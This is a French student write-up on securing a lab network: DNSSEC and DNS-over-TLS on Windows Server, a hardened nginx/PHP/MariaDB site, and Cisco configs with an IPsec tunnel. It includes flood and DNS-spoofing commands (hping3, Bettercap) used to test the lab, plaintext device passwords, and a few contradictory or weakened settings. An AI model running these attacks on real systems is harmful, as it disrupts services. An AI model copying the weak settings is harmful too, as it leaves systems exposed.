



WRITE-UP

SAE4.CYBER.01 – SÉCURISER UN SYSTÈME D'INFORMATION

Préparé par :

Adam Lernould

Leroy Remi

Duforets Thomas

Said Imene



Table des matières

Table des matières.....	1
Configuration DNSSEC et DoT - Windows Serveur 2019.....	3
1. Configuration de l'adresse IP statique.....	4
2. Configuration du service DNS.....	5
3. Configuration de DNSSEC.....	6
4. Mise en œuvre de DNS over TLS (DoT) avec Stunnel.....	8
5. Tester la configuration DNSSEC et DoT.....	9
6. Activation de la protection contre les attaques DDoS.....	10
7. Configuration avancée du pare-feu Windows.....	12
8. Activation des logs et surveillance du serveur DNS.....	14
9. Simulation d'attaques et validation de la protection.....	15
10. Justification de l'absence de Trust Anchors.....	17
Configuration Serveur Web nginx HTTPS sécurisé.....	18
1. Installation des Composants (Nginx, PHP, MariaDB).....	19
2. Création d'un Certificat SSL Auto-signé.....	19
3. Configuration de Nginx avec SSL et Redirection HTTP vers HTTPS.....	20
4. Configuration PHP (Sécurisation des Cookies).....	21
5. Création du Site Web Dynamique (PHP & MySQL avec SSL).....	22
6. Création et Sécurisation de la Base de Données.....	25
7. Configuration Pare-feu (UFW).....	26
8. Protection contre les Attaques (DDoS).....	27
9. Vérification finale :.....	27
Configuration maquette Cisco Packet Tracer.....	28
Configuration siège.....	29
Attribution ip des pc.....	29
Configuration switch L3.....	29
Configuration firewall.....	32
Configuration router siège.....	33
Configuration du routeur principal (routeur du haut).....	36
Configuration succursale.....	36
Attribution ip des pc :.....	36
Configuration switch L3 :.....	37
Configuration firewall.....	39
Configuration routeur siège.....	40

Liste mot de passe :.....	42
Configuration sur les ASA :.....	43
Configuration sur les autres équipements :.....	43
ANSII :.....	45
Test de sécurité.....	46
Découverte du réseau :.....	47
Exploitation des failles :.....	47
Tunnel sécurisé IPsec GRE.....	48
1. Fonctionnement de base.....	49
2. Encapsulation des trames.....	49
3. Détails techniques et négociations cryptographiques.....	49
4. Associations de sécurité (SA).....	49
5. Gestion MTU et fragmentation.....	50
6. Configuration réseau et pare-feu.....	50

Configuration DNSSEC et DoT - Windows Serveur 2019

1. Configuration de l'adresse IP statique

Ouvrir les paramètres réseau

- Accéder à Panneau de configuration → Réseau et Internet → Centre Réseau et partage
- Cliquer sur Modifier les paramètres de la carte

Configurer l'IP statique

- Faire un clic droit sur l'adaptateur réseau actif, puis cliquer sur Propriétés
- Sélectionner Protocole Internet version 4 (TCP/IPv4) → Propriétés

Renseigner :

Adresse IP : 192.168.1.10

Masque de sous-réseau : 255.255.255.192

Passerelle par défaut : 192.168.1.1

Serveur DNS : 127.0.0.1

Ajouter une adresse IP secondaire

- Cliquer sur Avancé... dans les paramètres IPv4

Ajouter :

Adresse IP : 192.168.1.11

Masque de sous-réseau : 255.255.255.192

2. Configuration du service DNS

Installation du Service DNS

```
Install-WindowsFeature -Name DNS -IncludeManagementTools
```

Création d'une zone de recherche directe

```
Add-DnsServerPrimaryZone -Name "societeDDLs.pepinieret.fr" -ZoneFile "societeDDLs.pepinieret.fr.dns"  
-DynamicUpdate Secure
```

Ajouter un enregistrement DNS

```
Add-DnsServerResourceRecordA -ZoneName "societeDDLs.pepinieret.fr" -Name "mail" -IPv4Address  
"192.168.1.11"
```

3. Configuration de DNSSEC

Activation de DNSSEC sur le serveur

```
dnscmd /config /EnableDnsSec 1  
Restart-Service DNS
```

Signature de la zone DNS

Génération des clés de signature :

- KSK (Key Signing Key)
- ZSK (Zone Signing Key)

Signature des enregistrements DNS avec la ZSK.

Signature de la ZSK avec la KSK pour garantir l'intégrité des enregistrements DNS.

Publication des signatures et activation de la validation DNSSEC.

Activer les réponses sécurisées

```
dnscmd /Config /SecureResponses 1
```

Limiter la taille du cache DNS pour éviter les attaques par amplification

```
dnscmd /Config /MaxCacheTTL 300  
dnscmd /Config /MaxNegativeCacheTTL 60
```

Activer le Cache Locking

```
dnscmd /Config /CacheLockingPercent 70
```

Désactiver la récursion DNS (évite les abus en tant que résolveur ouvert) :

`dnscmd /Config /NoRecursion 1`

`Restart-Service DNS`

4. Mise en œuvre de DNS over TLS (DoT) avec Stunnel

Installation de Stunnel

- Télécharger et installer Stunnel

Modifier **stunnel.conf** :

```
debug = info
output = C:\Program Files (x86)\stunnel\config\stunnel.log

[dns-tls]
client = no
accept = 853
connect = 127.0.0.1:53
cert = C:\Program Files (x86)\stunnel\bin\fullchain.crt
key = C:\Program Files (x86)\stunnel\bin\dns.key
accept = 0.0.0.0:853

delay = yes
```

Démarrer Stunnel

```
net start stunnel
```

5. Tester la configuration DNSSEC et DoT

Tester DNSSEC

`Resolve-DnsName societeddls.pepinierere.fr -Server 127.0.0.1 -DnssecOk`

Tester DNS-over-TLS

`dig @192.168.1.10 -p 853 societeddls.pepinierere.fr +tls +dnssec`

6. Activation de la protection contre les attaques DDoS

Limiter les requêtes DNS UDP et TCP entrantes pour éviter les attaques par inondation (DNS Flood)

```
New-NetFirewallRule -Name "Limit-DNS-UDP-Queries" -DisplayName "Limiter les requêtes DNS UDP" `
-Direction Inbound -Protocol UDP -LocalPort 53 -Action Allow -ThrottleLimit 20 -Enabled True -Profile
Any
```

```
New-NetFirewallRule -Name "Limit-DNS-TCP-Queries" -DisplayName "Limiter les requêtes DNS TCP" `
-Direction Inbound -Protocol TCP -LocalPort 53 -Action Allow -ThrottleLimit 20 -Enabled True -Profile
Any
```

Limiter les requêtes suspectes

```
New-NetFirewallRule -Name "Block-DNS-Amplification" -DisplayName "Bloquer les attaques
d'amplification DNS" ` -Direction Inbound -Protocol UDP -LocalPort 53 -RemoteAddress Any -Action
Block -Enabled True -Profile Any
```

Bloquer les requêtes DNS excessives en TCP

```
New-NetFirewallRule -Name "Block-Excessive-DNS-TCP" -DisplayName "Bloquer les requêtes DNS
excessives en TCP" ` -Direction Inbound -Protocol TCP -LocalPort 53 -RemoteAddress Any -Action Block
-Enabled True -Profile Any
```

Refuser les requêtes ANY pour limiter les scans DNS

```
Add-DnsServerQueryResolutionPolicy -Name "Block-ANY" -Action DENY -FQDN
"eq,societeDDLS.pepinieret" -QType "eq,ANY"
```

Restreindre l'accès DNS aux IPs internes uniquement

```
New-NetFirewallRule -Name "Allow-Internal-DNS" -DisplayName "Autoriser DNS uniquement pour le
réseau interne" -Direction Inbound -Protocol UDP -LocalPort 53 -RemoteAddress 192.168.1.0/26
-Action Allow -Enabled True -Profile Any
```

7. Configuration avancée du pare-feu Windows

Autoriser le trafic DNS entrant

```
New-NetFirewallRule -Name "Allow-DNS-UDP-In" -DisplayName "Autoriser DNS UDP entrant" -Direction Inbound -Protocol UDP -LocalPort 53 -Action Allow -Enabled True -Profile Any
```

```
New-NetFirewallRule -Name "Allow-DNS-TCP-In" -DisplayName "Autoriser DNS TCP entrant" -Direction Inbound -Protocol TCP -LocalPort 53 -Action Allow -Enabled True -Profile Any
```

Autoriser DNS-over-TLS

```
New-NetFirewallRule -Name "Allow-DNS-over-TLS" -DisplayName "Autoriser DNS-over-TLS (Entrant)" -Direction Inbound -Protocol TCP -LocalPort 853 -Action Allow -Enabled True -Profile Any
```

Bloquer tout DNS clair sortant

```
New-NetFirewallRule -Name "Block-Cleartext-DNS-Out" -DisplayName "Bloquer le trafic DNS en clair sortant" -Direction Outbound -Protocol Any -LocalPort 53 -Action Block -Enabled True -Profile Any
```

Bloquer tout DNS clair entrant

```
New-NetFirewallRule -Name "Block-Cleartext-DNS-In" -DisplayName "Bloquer le trafic DNS en clair entrant" -Direction Inbound -Protocol Any -LocalPort 53 -Action Block -Enabled True -Profile Any
```

Rediriger tout trafic DNS vers DNS-over-TLS

```
New-NetFirewallRule -Name "Redirect-DNS-to-TLS" -DisplayName "Rediriger DNS vers DNS-over-TLS" `
-Direction Outbound -Protocol Any -LocalPort 53 -Action Block -Enabled True -Profile Any
```

Autoriser Stunnel pour DNS-over-TLS

```
New-NetFirewallRule -Name "Allow-Stunnel-DNS-TLS" -DisplayName "Autoriser Stunnel pour
DNS-over-TLS" -Direction Inbound -Protocol TCP -LocalPort 853 -Action Allow -Enabled True -Profile
Any
```

Voir toutes les règles

```
Get-NetFirewallRule | Where-Object { $_.DisplayName -like "*DNS*" } | Format-Table -AutoSize
```

8. Activation des logs et surveillance du serveur DNS

Activer la journalisation complète

```
Set-NetFirewallProfile -Profile Domain,Private,Public -LogBlocked True
```

Vérifier les logs

```
Get-WinEvent -LogName "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
```

9. Simulation d'attaques et validation de la protection

Test de reconnaissance réseau avec PING

But : Vérifier si le serveur répond aux requêtes ICMP.

```
ping 192.168.1.10
```

Simulation d'attaque par inondation UDP avec hping3

But : Tester la capacité du serveur à limiter le trafic DNS UDP.

```
sudo hping3 --udp -p 53 192.168.1.10 --flood --rand-source
```

Test de protection avancée avec une attaque DNS ANY

But : Vérifier si les requêtes ANY sont bloquées.

```
dig ANY societeDDLS.pepiniere.rt @192.168.1.10
```

Test d'attaque par amplification DNS

But : Vérifier si le serveur répond aux requêtes volumineuses.

```
dig +short google.com @192.168.1.10
```

Test d'attaque par empoisonnement du cache DNS

But : Vérifier si le cache DNS est vulnérable à l'injection de fausses entrées.

```
nslookup google.com 192.168.1.10
```

Test de DNS Spoofing avec Bettercap

But : Vérifier si un attaquant peut rediriger le trafic DNS des clients vers une fausse adresse IP.

Lancer Bettercap en mode interactif

```
sudo bettercap -iface eth0
```

Activer le module DNS Spoofing

```
set dns.spoof.domains societeDDLs.pepiniere.rt  
set dns.spoof.address 192.168.1.20  
dns.spoof on
```

Observation des requêtes redirigées

Depuis le poste victime (192.168.1.20) , effectuer une requête :

```
nslookup societeDDLs.pepiniere.rt
```

Vérification du cache DNS pour détecter d'éventuelles anomalies

But : Confirmer l'intégrité des entrées stockées en cache.

Windows : `Get-DnsServerCache`

Vérification du cache ARP sur les machines pour détecter du spoofing

Ubuntu : `arp -n`

Windows : `arp -a`

10. Justification de l'absence de Trust Anchors

Le serveur DNS étant interne, il ne nécessite pas de validation DNSSEC pour les zones publiques. Les Trust Anchors ne sont donc pas requis.

Configuration Serveur Web nginx HTTPS sécurisé

1. Installation des Composants (Nginx, PHP, MariaDB)

Mise à jour et installation :

```
sudo apt update && sudo apt upgrade -y  
sudo apt install nginx php8.3-fpm php8.3-mysql mariadb-server -y
```

Démarrage des services :

```
sudo systemctl enable --now nginx mariadb php8.3-fpm
```

2. Création d'un Certificat SSL Auto-signé

Création du répertoire sécurisé :

```
sudo mkdir /etc/nginx/ssl  
sudo chmod 700 /etc/nginx/ssl
```

Génération de la clé et du certificat :

```
sudo openssl genrsa -out /etc/nginx/ssl/selfsigned.key 4096  
sudo openssl req -x509 -nodes -days 3650 -key /etc/nginx/ssl/selfsigned.key -out /etc/nginx/ssl/selfsigned.crt  
sudo openssl dhparam -out /etc/nginx/ssl/dhparam.pem 4096
```

3. Configuration de Nginx avec SSL et Redirection HTTP vers HTTPS

Chemin : `/etc/nginx/sites-available/mon_site_secure`

Créer le fichier :

`sudo nano /etc/nginx/sites-available/mon_site_secure`

Contenu complet du fichier :

```
server {
    listen 443 ssl;
    server_name exemple.com;

    # Chemins vers le certificat auto-signé et sa clé
    ssl_certificate /etc/ssl/certs/votre_certificat.pem;
    ssl_certificate_key /etc/ssl/private/votre_cle_privee.pem;

    # Protocoles TLS et chiffrements conformes aux recommandations
    ANSSI
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_ciphers
    'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:HIGH:!aNULL:
    !MD5:!3DES';

    # En-têtes de sécurité
    add_header Strict-Transport-Security "max-age=31536000;
    includeSubDomains" always;
    add_header X-Frame-Options SAMEORIGIN always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header X-Content-Type-Options nosniff always;
    add_header Content-Security-Policy "default-src 'self'" always;

    # Désactivation de la compression pour limiter les risques BREACH
    sur les pages sensibles
    gzip off;

    # Répertoire racine du site et fichier index
    root /var/www/votre_site;
    index index.php index.html;
```

```

# Bloc pour refuser l'accès aux fichiers de sauvegarde (ex.
#wp-config.php#)
location ~* /\.*# {
    deny all;

    access_log off;
    log_not_found off;
}

# Traitement des fichiers PHP via PHP-FPM
location ~ /\.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}

# Gestion des autres requêtes
location / {
    try_files $uri $uri/ =404;
}

}

# Bloc HTTP (port 80) - Redirection vers HTTPS avec en-têtes de
sécurité
server {
    listen 80;
    server_name exemple.com;

    # Ajout d'en-têtes pour la protection même sur HTTP
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;

    return 301 https://$host$request_uri;
}

```

Activation du site :

```

sudo ln -s /etc/nginx/sites-available/mon_site_secure /etc/nginx/sites-enabled/
sudo unlink /etc/nginx/sites-enabled/default

```

4. Configuration PHP (Sécurisation des Cookies)

Chemin : `/etc/php/8.3/fpm/php.ini`

Modifier :

```
session.cookie_secure = 1
```

```
session.cookie_httponly = 1
```

Redémarrer PHP :

```
sudo systemctl restart php8.3-fpm
```

5. Création du Site Web Dynamique (PHP & MySQL avec SSL)

Répertoire web : `/var/www/mon_site_secure`

Création du répertoire web :

```
sudo mkdir -p /var/www/mon_site_secure
```

```
sudo chown -R www-data:www-data /var/www/mon_site_secure
```

Fichier : `/var/www/mon_site_secure/index.php`

```
<?php
session_start();
// Générer un token CSRF s'il n'existe pas déjà
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <title>Connexion</title>
</head>
<body>
    <h1>Connexion</h1>
    <form action="login.php" method="post">
```

```

        <input type="hidden" name="csrf_token" value="<?php echo
$_SESSION['csrf_token']; ?>">
        <label for="username">Utilisateur :</label>
        <input type="text" id="username" name="username" required><br>
        <label for="password">Mot de passe :</label>
        <input type="password" id="password" name="password" required><br>
        <button type="submit">Se connecter</button>

    </form>
</body>
</html>

```

Fichier : /var/www/mon_site_secure/login.php

```

<?php
session_start();

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // Vérification du token CSRF
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !==
$_SESSION['csrf_token']) {
        die("Requête invalide.");
    }

    $username = trim($_POST["username"]);
    $password = $_POST["password"];

    try {
        // Configuration PDO avec SSL (certificat auto-signé)
        // Ici, nous utilisons uniquement SSL_CA pour établir une
connexion SSL
        $options = [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_TIMEOUT => 60,
            PDO::MYSQL_ATTR_SSL_CA => '/etc/mysql/cacert.pem',
            // Comme le serveur n'exige pas l'authentification client,
on peut omettre SSL_CERT et SSL_KEY
            PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT => false,
        ];

        // Forcer la connexion TCP via 127.0.0.1 (port 3306) pour
utiliser SSL
        $pdo = new PDO(

'mysql:host=127.0.0.1;port=3306;dbname=votre_base;charset=utf8mb4',
        'votre_utilisateur',
        'votre_motdepasse',

```

```

$options
);

// Préparation et exécution de la requête pour récupérer le
hash du mot de passe
$stmt = $pdo->prepare("SELECT password_hash FROM users WHERE
username = :username");
$stmt->execute(['username' => $username]);

$user = $stmt->fetch();

if ($user && password_verify($password,
$user["password_hash"])) {
    $_SESSION['username'] = $username;
    header("Location: admin.php");
    exit();
} else {
    echo "Identifiants incorrects.";
}
} catch (PDOException $e) {
    error_log($e->getMessage());
    echo "Erreur interne.";
}
} else {
    header("Location: index.php");
    exit();
}
?>

```

Fichier : /var/www/mon_site_secure/admin.php

```

<?php

session_start();

if (!isset($_SESSION['username'])) {

    header("Location: index.php");

    exit();

}

?>

<!DOCTYPE html>

<html lang="fr">

<head>

    <meta charset="UTF-8">

```

```

<title>Zone d'administration</title>

</head>

<body>

    <h1>Bienvenue, <?php echo htmlspecialchars($_SESSION['username']); ?>
!</h1>

    <!-- Contenu réservé aux administrateurs -->


</body>

</html>

```

6. Création et Sécurisation de la Base de Données

Création de la base de données

sudo mysql -u root -p

```

CREATE DATABASE votre_base CHARACTER SET utf8mb4 COLLATE
utf8mb4_unicode_ci;

```

```

USE votre_base;

```

```

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

```

```

-- Pour générer le hash du mot de passe (par exemple "progtr00"),
exécutez en ligne de commande :
-- php -r "echo password_hash('progtr00', PASSWORD_DEFAULT).PHP_EOL;"

```

```

-- Insérer l'administrateur (remplacez <hash_généré> par le hash
obtenu)
INSERT INTO users (username, password_hash)
VALUES ('admin', '<hash_généré>');

```

Création de l'utilisateur applicatif avec privilèges limités

```
-- Créer l'utilisateur pour les connexions locales
CREATE USER 'votre_utilisateur'@'localhost' IDENTIFIED BY
'votre_motdepasse';
CREATE USER 'votre_utilisateur'@'127.0.0.1' IDENTIFIED BY
'votre_motdepasse';

-- Accorder uniquement les privilèges nécessaires sur la base
'votre_base'
GRANT SELECT, INSERT, UPDATE, DELETE ON votre_base.* TO
'votre_utilisateur'@'localhost';
GRANT SELECT, INSERT, UPDATE, DELETE ON votre_base.* TO
'votre_utilisateur'@'127.0.0.1';

FLUSH PRIVILEGES;
```

Création d'un compte administratif distinct pour la maintenance

Vérification des privilèges

```
-- Créer un compte administratif distinct pour les tâches de
maintenance
CREATE USER 'admin_db'@'localhost' IDENTIFIED BY
'admin_motdepasse';
CREATE USER 'admin_db'@'127.0.0.1' IDENTIFIED BY
'admin_motdepasse';

-- Accorder tous les privilèges sur toutes les bases avec l'option
GRANT
GRANT ALL PRIVILEGES ON *.* TO 'admin_db'@'localhost' WITH GRANT
OPTION;
GRANT ALL PRIVILEGES ON *.* TO 'admin_db'@'127.0.0.1' WITH GRANT
OPTION;

FLUSH PRIVILEGES;
```

7. Configuration Pare-feu (UFW)

```
sudo ufw allow 'Nginx Full'
sudo ufw delete allow 'Nginx HTTP'
```

8. Protection contre les Attaques (DDoS)

Chemin : `/etc/nginx/nginx.conf`

Modifier :

```
http {  
    limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;  
    include /etc/nginx/sites-enabled/*;  
}
```

Recharger Nginx :

```
sudo nginx -t && sudo systemctl reload nginx
```

9. Vérification finale :

```
sudo nginx -t  
sudo systemctl status nginx
```

Configuration maquette Cisco Packet Tracer

Configuration siège

Attribution ip des pc

- PC1 => 192.168.1.10/26, passerelle : 192.168.1.1
- PC2 => 192.168.1.70/26, passerelle : 192.168.1.65
- PC3 => 192.168.1.130/26, passerelle : 192.168.1.129
- PC4 (DMZ) => 192.168.254.10/24, passerelle : 192.168.254.1

Configuration switch L3

Configuration vlan

```
en
conf t

vlan 10
vlan 20
vlan 30

int vlan 10
ip add 192.168.1.1 255.255.255.192
no sh

int vlan 20
ip add 192.168.1.65 255.255.255.192
no sh

int vlan 30
ip add 192.168.1.129 255.255.255.192
no sh
```

Configuration lien GigabitEthernet pc

```
en
conf t

int g1/0/1
switchport mode access
switchport access vlan 10
no sh

int g1/0/2
switchport mode access
switchport access vlan 20
no sh

int g1/0/3
switchport mode access
switchport access vlan 30
no sh
```

Configuration ACL entre VLAN

```
ip access-list extended BLOCK_VLAN_10_20_30_FOR_VLAN_20
deny icmp any 192.168.1.0 0.0.0.63 echo
deny icmp any 192.168.2.0 0.0.0.63 echo
deny icmp any 192.168.1.128 0.0.0.63 echo
deny icmp any 192.168.2.128 0.0.0.63 echo
permit ip any any
```

```
ip access-list extended BLOCK_VLAN_10_20_30_FOR_VLAN_30
deny icmp any 192.168.1.0 0.0.0.63 echo
deny icmp any 192.168.2.0 0.0.0.63 echo
deny icmp any 192.168.1.64 0.0.0.63 echo
deny icmp any 192.168.2.64 0.0.0.63 echo
permit ip any any
```

```
int vlan 20
ip access-group BLOCK_VLAN_10_20_30_FOR_VLAN_20 in
```

```
int vlan 30
ip access-group BLOCK_VLAN_10_20_30_FOR_VLAN_30 in
```

Configuration lien vers le firewall

```
int g1/0/4
no sw
ip add 192.168.30.1 255.255.255.0
no sh

ip route 0.0.0.0 0.0.0.0 192.168.30.2
```

Configuration firewall

Il faut commencer par enlever la service policy par défaut

```
no service-policy global_policy global
```

Configuration lien vers le switch L3

```
int g1/1
ip add 192.168.30.2 255.255.255.0
nameif inside
security-level 0
no sh

route inside 192.168.1.0 255.255.255.0 192.168.30.1
```

Ajout de la nouvelle service policy :

```
class-map CMAP
match default-inspection-traffic

policy-map PMAP
class CMAP
inspect dns
inspect ftp
inspect http
inspect icmp

service-policy PMAP global
```

Configuration vers la DMZ :

```
int g1/3
ip add 192.168.254.1 255.255.255.0
no sh
nameif dmz
security-level 0
```

Configuration lien vers le router siège :

```
int g1/2
ip add 192.168.50.2 255.255.255.0
no sh
nameif outside
security-level 0

route outside 0.0.0.0 0.0.0.0 192.168.50.1
```

Avoir une communication entre le inside et le outside, il faut mettre en place un NAT dynamic :

```
object network OBJ_INSIDE
subnet 192.168.30.0 255.255.255.0
nat (inside,outside) dynamic interface
```

Configuration router siège

Tout d'abord, il faut activer la licence pour pouvoir faire le tunnel IPsec

```
license boot module c2900 technology-package securityk9
write memory
reload
```

Normalement la licence doit être activée, si ce n'est pas le cas il faut recommencer la manipulation.

Lien avec le firewall

```
int g0/0
ip add 192.168.50.1 255.255.255.0
no sh
ip nat inside

ip route 0.0.0.0 0.0.0.0 192.168.50.2
```

Lien avec le routeur du haut

```
int g0/1
ip add 139.0.0.1 255.0.0.0
no sh
ip ospf cost 1000
ip nat outside
crypto map CRYPTO-MAP

ip nat inside source list 101 interface GigabitEthernet0/1 overload

access-list 101 deny ip 192.168.50.0 0.0.0.255 192.168.51.0 0.0.0.255
access-list 101 deny ip 192.168.50.0 0.0.0.255 192.168.31.0 0.0.0.255
access-list 101 deny ip 192.168.50.0 0.0.0.255 192.168.2.0 0.0.0.255
access-list 101 deny ip 192.168.30.0 0.0.0.255 192.168.51.0 0.0.0.255
access-list 101 deny ip 192.168.30.0 0.0.0.255 192.168.31.0 0.0.0.255
access-list 101 deny ip 192.168.30.0 0.0.0.255 192.168.2.0 0.0.0.255
access-list 101 deny ip 192.168.1.0 0.0.0.255 192.168.51.0 0.0.0.255
access-list 101 deny ip 192.168.1.0 0.0.0.255 192.168.31.0 0.0.0.255
access-list 101 deny ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255
access-list 101 permit ip 192.168.50.0 0.0.0.255 any

router ospf 1
log-adjacency-changes
network 139.0.0.0 0.255.255.255 area 0
network 172.16.1.0 0.0.0.3 area 0
network 192.168.50.0 0.0.0.255 area 0
```

Mise en place du cryptage

```
crypto isakmp policy 10
  encr aes
  authentication pre-share
  group 2
```

Configuration de la politique ISAKMP

```
crypto isakmp key MON_SECRET address 134.0.0.1
```

Définition de la clé pré-partagée

```
crypto ipsec transform-set TRANS_1 esp-aes esp-sha-hmac
```

Configuration de l'ensemble de transformation IPSec

```
crypto map CRYPTO-MAP 10 ipsec-isakmp
  set peer 134.0.0.1
  set transform-set TRANS_1
  match address 100
```

Configuration de la carte crypto pour appliquer IPSec

Mise en place du Tunnel IPsec :

```
interface Tunnel0
  ip address 172.16.1.1 255.255.255.252
  mtu 1476
  tunnel source GigabitEthernet0/1
  tunnel destination 134.0.0.1

ip route 192.168.2.0 255.255.255.0 172.16.1.2
ip route 192.168.51.0 255.255.255.0 172.16.1.2
ip route 192.168.31.0 255.255.255.0 172.16.1.2

access-list 100 permit gre host 139.0.0.1 host 134.0.0.1
```

Configuration du routeur principal (routeur du haut)

Lien avec le routeur siège :

```
int g0/0  
ip add 139.0.0.2 255.0.0.0  
no sh
```

Lien avec le routeur succursale :

```
int g0/1  
ip add 134.0.0.2 255.0.0.0  
no sh
```

Mis en place du routage :

```
router ospf 1  
log-adjacency-changes  
network 139.0.0.0 0.255.255.255 area 0  
network 134.0.0.0 0.255.255.255 area 0
```

Configuration succursale

Attribution ip des pc :

- PC5 => 192.168.2.10/26, passerelle : 192.168.2.1
- PC6 => 192.168.2.70/26, passerelle : 192.168.2.65
- PC7 => 192.168.2.130/26, passerelle : 192.168.2.129
- PC8 (DMZ) => 192.168.253.10/24, passerelle : 192.168.253.1

Configuration switch L3 :

Configuration vlan :

```
en
conf t

vlan 10
vlan 20
vlan 30

int vlan 10
ip add 192.168.2.1 255.255.255.192
no sh

int vlan 20
ip add 192.168.2.65 255.255.255.192
no sh

int vlan 30
ip add 192.168.2.129 255.255.255.192
no sh
```

Configuration lien Gigabit Ethernet pc :

```
en
conf t

int g1/0/1
switchport mode access
switchport access vlan 10
no sh

int g1/0/2
switchport mode access
switchport access vlan 20
no sh
```

```
int g1/0/3
switchport mode access
switchport access vlan 30
no sh
```

Configuration ACL entre VLAN :

```
ip access-list extended BLOCK_VLAN_10_20_30_FOR_VLAN_20
deny icmp any 192.168.1.0 0.0.0.63 echo
deny icmp any 192.168.2.0 0.0.0.63 echo
deny icmp any 192.168.1.128 0.0.0.63 echo
deny icmp any 192.168.2.128 0.0.0.63 echo
permit ip any any

ip access-list extended BLOCK_VLAN_10_20_30_FOR_VLAN_30
deny icmp any 192.168.1.0 0.0.0.63 echo
deny icmp any 192.168.2.0 0.0.0.63 echo
deny icmp any 192.168.1.64 0.0.0.63 echo
deny icmp any 192.168.2.64 0.0.0.63 echo
permit ip any any

int vlan 20
ip access-group BLOCK_VLAN_10_20_30_FOR_VLAN_20 in

int vlan 30
ip access-group BLOCK_VLAN_10_20_30_FOR_VLAN_30 in
```

Configuration lien vers le firewall :

```
int g1/0/4
no sw
ip add 192.168.31.1 255.255.255.0
no sh

ip route 0.0.0.0 0.0.0.0 192.168.31.2
```

Configuration firewall

Il faut commencer par enlever la sevice policy par défaut :

```
no service-policy global_policy global
```

Configuration lien vers le switch L3 :

```
int g1/1
ip add 192.168.31.2 255.255.255.0
nameif inside
security-level 0
no sh
route inside 192.168.2.0 255.255.255.0 192.168.31.1
```

Ajout de la nouvelle service policy :

```
class-map CMAP
match default-inspection-traffic

policy-map PMAP
class CMAP
inspect dns
inspect ftp
inspect http
inspect icmp

service-policy PMAP global
```

Configuration vers la DMZ :

```
int g1/3
ip add 192.168.253.1 255.255.255.0
no sh
nameif dmz
security-level 0
```

Configuration lien vers le routeur succursale :

```
int g1/2
ip add 192.168.51.2 255.255.255.0
no sh
nameif outside
security-level 0

route outside 0.0.0.0 0.0.0.0 192.168.51.1
```

Pour avoir une communication entre le inside et le outside, il faut mettre en place un NAT dynamic :

```
object network OBJ_INSIDE
subnet 192.168.31.0 255.255.255.0
nat (inside,outside) dynamic interface
```

Configuration routeur siège

Tout d'abord, il faut activer la licence pour pouvoir faire le tunnel IPsec :

```
license boot module c2900 technology-package securityk9
write memory
reload
```

Normalement la licence doit être activée, si ce n'est pas le cas il faut recommencer la manipulation.

Lien avec le firewall :

```
int g0/1
ip add 192.168.51.1 255.255.255.0
no sh
ip nat inside
ip route 0.0.0.0 0.0.0.0 192.168.51.2
```

Lien avec le routeur du haut :

```
int g0/0
ip add 134.0.0.1 255.0.0.0
no sh
ip ospf cost 1000
ip nat outside
crypto map CRYPTO-MAP

ip nat inside source list 101 interface GigabitEthernet0/0 overload

access-list 101 deny ip 192.168.51.0 0.0.0.255 192.168.50.0 0.0.0.255
access-list 101 deny ip 192.168.51.0 0.0.0.255 192.168.30.0 0.0.0.255
access-list 101 deny ip 192.168.51.0 0.0.0.255 192.168.1.0 0.0.0.255
access-list 101 deny ip 192.168.31.0 0.0.0.255 192.168.50.0 0.0.0.255
access-list 101 deny ip 192.168.31.0 0.0.0.255 192.168.30.0 0.0.0.255
access-list 101 deny ip 192.168.31.0 0.0.0.255 192.168.1.0 0.0.0.255
access-list 101 deny ip 192.168.2.0 0.0.0.255 192.168.50.0 0.0.0.255
access-list 101 deny ip 192.168.2.0 0.0.0.255 192.168.30.0 0.0.0.255
access-list 101 deny ip 192.168.2.0 0.0.0.255 192.168.1.0 0.0.0.255
access-list 101 permit ip 192.168.51.0 0.0.0.255 any

router ospf 1
log-adjacency-changes
network 134.0.0.0 0.255.255.255 area 0
network 172.16.1.0 0.0.0.3 area 0
network 192.168.51.0 0.0.0.255 area 0
```

Mise en place du cryptage :

```
crypto isakmp policy 10
encr aes
authentication pre-share
group 2

crypto isakmp key MON_SECRET address 139.0.0.1

crypto ipsec transform-set TRANS_1 esp-aes esp-sha-hmac
```

```
crypto map CRYPTO-MAP 10 ipsec-isakmp
set peer 139.0.0.1
set transform-set TRANS_1
match address 100
```

Mise en place du Tunnel IPsec :

```
interface Tunnel0
ip address 172.16.1.2 255.255.255.252
mtu 1476
tunnel source GigabitEthernet0/1
tunnel destination 139.0.0.1

ip route 192.168.50.0 255.255.255.0 172.16.1.1
ip route 192.168.30.0 255.255.255.0 172.16.1.1
ip route 192.168.1.0 255.255.255.0 172.16.1.1

access-list 100 permit gre host 134.0.0.1 host 139.0.0.1
```

Liste mot de passe :

Equipement	Mot de passe
I3_siege	L3/siege
ASA_siege	Asa/siege1
L2_siege	L2/siege
router siege	R1/siege
I3_succursale	L3/succursale
ASA_succursale	Asa/succursale2
I2_succursale	L2/succursale
router_succursale	R1/succursale
router haut	R1/haut

Configuration sur les ASA :

```
enable password Asa/succursale2
hostname ASA-SIEGE
domain-name asa_succursale.com

crypto key generate rsa modulus 2048

username admin password Asa/succursale2

aaa authentication ssh console LOCAL

ssh version 2
ssh timeout 10
ssh 0.0.0.0 0.0.0.0 inside
password encryption aes
service password-encryption
```

